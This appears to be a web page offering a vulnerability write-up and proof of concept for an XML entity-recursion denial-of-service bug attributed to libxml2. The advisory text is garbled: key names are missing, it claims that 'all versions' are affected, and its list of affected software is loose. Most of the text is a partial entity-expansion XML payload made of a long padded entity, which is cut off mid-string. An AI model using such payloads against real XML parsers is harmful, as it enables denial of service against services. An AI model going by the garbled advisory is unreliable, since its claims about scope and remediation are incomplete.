libxml2 CVE-2024-3993: XML Entity Recursion DoS Vulnerability Analysis & POC

Vulnerability Overview This vulnerability involves a security issue named , primarily affecting software using specific versions of the library. Attackers can construct malicious XML files to trigger infinite recursion in during XML entity processing, resulting in a Denial of Service (DoS) attack. Scope of Impact Affected Library: Affected Versions: All versions (as of the time of disclosure) Affected Software: Any software utilizing the library, including but not limited to: - Web servers (e.g., Apache, Nginx) - Application frameworks (e.g., Django, Flask) - Data processing tools (e.g., Pandas, NumPy) Remediation Upgrade : Upgrade to the latest version, which includes a fix for this vulnerability. Configuration Limits: If an immediate upgrade is not feasible, mitigate the impact by configuring to limit the depth and number of entity resolutions. POC Code ```xml <!DOCTYPE foo [ <!ENTITY x0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

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libxml2 CVE-2024-3993: XML Entity Recursion DoS Vulnerability Analysis & POC

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